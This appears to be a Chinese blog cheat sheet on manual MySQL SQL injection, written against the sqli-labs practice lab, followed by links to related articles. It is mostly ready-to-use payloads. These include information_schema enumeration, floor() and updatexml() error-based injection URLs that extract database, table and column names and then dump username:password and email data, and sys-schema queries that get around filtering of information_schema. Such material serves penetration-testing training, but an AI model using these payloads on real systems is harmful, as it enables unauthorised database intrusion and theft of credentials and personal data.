mysql中的information_schema 结构用来存储数据库系统信息 

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。  

| SCHEMATA ――>存储数据库名的, 

|——>关键字段:SCHEMA_NAME,表示数据库名称 

| TABLES ――>存储表名的 

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示表的名称 

| COLUMNS ――>存储字段名的 

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示所属的表的名称 

    COLUMN_NAME表示字段名 

可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。 

爆所有数据库名 

select group_concat(SCHEMA_NAME) from information_schema.schemata 

得到当前库的所有表 

select group_concat(table_name) from information_schema.tables where table_schema=database() 

得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 

得到字段具体的值 

select group_concat(username,0x3a,password) from adminuser

2. floor报错注入

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询当前数据库:

http://192.168.48.130/sqli-labs-master/Less-1/?id=1'  and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询所有的数据库,limit来控制

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询security下的表名

http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询security下的emails数据表的字段名

http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询security下的emails数据表的email_id字段内容

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' and (select 1 from (select count(*),concat((select email_id from emails limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

3. updatexml注入

and updatexml(1,payload,1)

查询当前数据库:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

爆所有数据库:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(schema_name) from information_schema.schemata),0x7e),1)--+

因为限制了长度是32 是显示不完全的,

这边又采用Limit来显示所有的数据库名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

一个一个查找security下的表名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x7e),1)--+

查找security下的所有表名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)--+    显示不完全

查找emails数据表中的所有列名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73),0x7e),1)--+

查找email字段内容:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e),1)--+

4、sql 奇淫技巧

在进行sql注入时候,如果mysql, information)schema被过滤了,我们可以使用以下的语句。     tips: mysql版本是5.7以上

1、查看所有库名

select table_schema from sys.schema_table_statistics group by table_schema  #查看所有库名

 SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;

2、查看指定库的表名

SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='www_project' GROUP BY table_name; #查找www_project数据库下的所有数据表
SELECT table_name FROM  sys.x$schema_flattened_keys WHERE table_schema='www_project' GROUP BY table_name; 

4、快速定位到重要的数据库以及表

select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc; # 统计所有访问过的表次数:库名,表名,访问次数

sql 手注 语法的更多相关文章

  1. SQL server存储过程语法及实例(转)

    存储过程如同一门程序设计语言,同样包含了数据类型.流程控制.输入和输出和它自己的函数库. --------------------基本语法-------------------- 一.创建存储过程cr ...

  2. SQL语句方法语法总结(二)

    1.给表插入数据. (1)INSERT INTO TBL_NAME VALUES (VALUE_1,VALUE_2,...) (2)INSERT INTO TBL_NAME (COL_1,COL_2, ...

  3. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  4. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  5. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  6. 实验吧——看起来有点难(sql盲注)

    题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...

  7. SQL盲注学习-布尔型

    本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...

  8. (转)SQL盲注攻击的简单介绍

    转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介     1.1 普通SQL注入技术概述     目前没有对SQL ...

  9. sqli-labs11-17(手注+sqlmap)

    这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的 0x01 sqli-labs less-11 1.手工 由于是post型注入,那么我们不能在url ...

随机推荐

  1. vue+element-ui:table表格中的slot 、formatter属性

    slot 插槽,table中表示该行内容以自定义方式展示 :formatter 方法,用来格式化内容 Function(row, column, cellValue, index) html < ...

  2. Docker镜像仓库Harbor安装

    export VERSION=18.06 && curl -fsSL http://rainbond-pkg.oss-cn-shanghai.aliyuncs.com/releases ...

  3. Maven 知识点总结以及解决jar报冲突的几种方法

    1.常见的命令 Compile Test Package Install Deploy Clean 2.坐标的书写规范 groupId 公司或组织域名的倒序 artifactId 项目名或模块名 ve ...

  4. 有状态 无状态 stateful stateless monolithic architecture microservice architecture 单体架构

    为什么游戏公司的server不愿意微服务化? - 知乎 https://www.zhihu.com/question/359630395 我大概说了,方便测试,方便维护,方便升级,服务之间松耦合,可多 ...

  5. python 10函数式编程

                                                                               函数式编程 函数是Python内建支持的一种封装, ...

  6. CSS补充2

    浮动是css里面布局最多的一个属性效果:两个元素并排了,并且两个元素都能够设置宽度和高度 四个特性: 1.浮动的元素脱标 2.浮动的元素互相贴靠 3.浮动的元素有"字围"效果 4. ...

  7. udp聊天器

    import socket def send_msg(udp_socket): """获取键盘数据,并将其发送给对方""" # 1. 从键盘 ...

  8. Language Guide (proto3) | proto3 语言指南(十一)包

    Packages - 包 可以向.proto文件中添加可选的package明符,以防止协议消息类型之间的名称冲突. package foo.bar; message Open { ... } 然后你可 ...

  9. 十四:SpringBoot-配置MongoDB数据库,实现增删改查逻辑

    SpringBoot-配置MongoDB数据库,实现增删改查逻辑 1.MongoDB数据库 1.1 MongoDB简介 1.2 MongoDB特点 2.SpringBoot整合MongoDB 2.1 ...

  10. (十八)整合Nacos组件,环境搭建和入门案例详解

    整合Nacos组件,环境搭建和入门案例详解 1.Nacos基础简介 1.1 关键特性 1.2 专业术语解释 1.3 Nacos生态圈 2.SpringBoot整合Nacos 2.1 新建配置 2.2 ...